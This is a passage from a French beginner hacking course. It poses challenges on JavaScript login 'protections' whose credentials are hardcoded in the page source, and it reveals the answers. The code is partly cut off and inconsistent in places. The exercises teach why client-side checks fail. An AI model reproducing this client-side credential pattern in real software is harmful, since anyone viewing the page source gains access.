onClick="chekunr(this.form)"></center></td><td><center><br><input
type="Reset"></center></form></td></tr></table></center>
<p>&nbsp;</p>
</DIV>
</body>
</html>

Pouvez-vous trouver le login et le mot de passe ? Aller, cherchez un peu.


Solution :
le login est admin

269

le mot de passe est khaalel

2me protection javascript


Voici le challenge :

Voici le code source :


<html>
<head>
<title>Authentification</title>
<meta name="generator" content="Namo WebEditor v5.0">
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple"
alink="red">
<form>
<p>Login :
<input type="text" name="login">
</p>
<p>Mot de passe:
<input type="password" name="pass">
<input type="button" value="On y va" name="Submit"
onclick=javascript:validate(login.value,"admin",pass.value,"khaalel
") >
</p>
</form>
<script language = "javascript">
function chekunr(t0,t1,t2,t3)
{
if (t0==t1 && t2==t3)
load('administration.html');
else
{
load('404.html');
}
}
function load(url)
{

270

location.href=url;
}
</script>
</body>
</html>

Avez-vous trouv la solution?


Solution :
le login (t0) doit avoir la mme valeur que t1 (soit admin).
idem pour le mot de passe et khaalel.

3me protection javascript


Voici la protection :

Voici le code source :


<SCRIPT>
function chekunr() {
var test = 1;
var pass = prompt('Entrer votre mot de passe',' ');
while (test < 3) {
if (!pass)
history.go(-1);
if (pass.toLowerCase() == "khaalel") {
window.open('administration.html');
break;
}
test+=1;
var pass =
prompt('Erreur de mot de passe','Password');
}
if (pass.toLowerCase()!="password" & test ==3)
history.go(-1);
return " ";
}

271

</SCRIPT>

Avez-vous trouv la solution?


Solution :
Le mot de passe est khaalel

272

273

Bon, on se quitte ici, dommage, vous me manquerez (lol).


Jespere que je vous ai bien aid. Au revoir et surement bientt.
Venez consulter mes sites : http://www.cksecurity.fr.fm et
http://cksecurity.free.fr vous y trouverez surement des articles interressants et
dautres cours.
Pour ceux qui veulent des informations en tout genre, voici mon adresse :
spike23@netcourrier.com. Pour toute critique ou compliment (je ne dis pas non),
vous pouvez aussi mcrire. Sil y a une erreur ou une connerie de ma part dans les
chapitre prcdants faites le moi savoir. Merci

AU REVOIR
NOUBLIEZ PAS, KNOWLEDGE IS
POWER
KHAALEL

Pour finir en beaut ce cours, voici des images humoristiques (pour moi en tout cas).
Certaines seront un peu critiques lgard de Bill Gates, mais ce nest que de
lhumour, faut se dtendre

274

275

Vous aimerez peut-être aussi